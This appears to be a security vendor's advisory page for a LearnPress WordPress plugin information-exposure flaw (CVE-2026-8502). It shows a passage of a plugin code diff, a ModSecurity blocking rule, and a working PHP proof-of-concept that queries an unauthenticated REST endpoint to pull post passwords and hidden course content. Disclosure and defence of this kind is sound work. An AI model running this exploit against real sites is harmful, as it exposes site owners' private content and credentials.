+		throw new Exception( sprintf( __( 'Gateway %s does not support subscription webhook verification.', 'learnpress' ), $this->get_id() ) );
+	}
+
+	/**
+	 * Build normalized webhook data array from transport-specific REST request.
+	 *
+	 * Contract:
+	 * - raw_body: raw payload string (for signature verification like Stripe).
+	 * - body: decoded JSON array when $decode_body is true, otherwise null.
+	 * - headers: map of required header keys (lowercase) to raw header values.
+	 *
+	 * @param WP_REST_Request $request
+	 * @param array           $required_headers
+	 * @param bool            $decode_body
+	 *
+	 * @return array
+	 */
+	protected function build_webhook_data_from_request( WP_REST_Request $request, array $required_headers = array(), bool $decode_body = true ): array {
+
+		$raw_body = (string) $request->get_body();
+		$headers  = array();
+
+		foreach ( $required_headers as $required_header ) {
+			$required_header             = strtolower( sanitize_key( (string) $required_header ) );
+			$headers[ $required_header ] = (string) $request->get_header( $required_header );
+		}
+
+		$body = null;
+		if ( $decode_body ) {
+			$body = LP_Helper::json_decode( $raw_body, true );
+		}
+
+		return array(
+			'raw_body' => $raw_body,
+			'body'     => is_array( $body ) ? $body : null,
+			'headers'  => $headers,
+		);
+	}
+
+	/**
+	 * Validate normalized webhook payload contract before provider verification.
+	 *
+	 * This centralizes fail-fast checks so each gateway does not re-implement
+	 * required key/header validation and accidentally diverge key names.
+	 *
+	 * @param array $webhook_data
+	 * @param ar

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-8502
# Blocks unauthenticated exploitation via c_status=all and return_type=json
# Targets the REST API endpoint /wp-json/lp/v1/courses/archive-course
SecRule REQUEST_URI "@rx ^/wp-json/lp/v1/courses/archive-course$" 
  "id:20268502,phase:2,deny,status:403,chain,msg:'CVE-2026-8502 LearnPress Sensitive Information Exposure',severity:'CRITICAL',tag:'CVE-2026-8502'"
  SecRule ARGS:return_type "@streq json" "chain"
    SecRule ARGS:c_status "@streq all" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-8502 - LearnPress Unauthenticated Sensitive Information Exposure

$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site

$endpoint = '/wp-json/lp/v1/courses/archive-course';
$params = [
    'c_status' => 'all',
    'return_type' => 'json',
    'c_fields' => 'ID,post_title,post_password,post_content,post_status,post_author,post_name'
];

$full_url = $target_url . $endpoint . '?' . http_build_query($params);

echo "[*] Exploiting CVE-2026-8502 on: $full_urln";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPGET, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[*] HTTP Response Code: $http_coden";

if ($http_code === 200 && !empty($response)) {
    $data = json_decode($response, true);
    if (json_last_error() === JSON_ERROR_NONE) {
        echo "[+] Successfully retrieved data:n";
        print_r($data);
    } else {
        echo "[!] Response is not valid JSON. Raw response:n";
        echo $response;
    }
} else {
    echo "[!] Request failed or returned non-200 status. Raw response (if any):n";
    echo $response;
}

echo "n[*] Exploit complete.n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School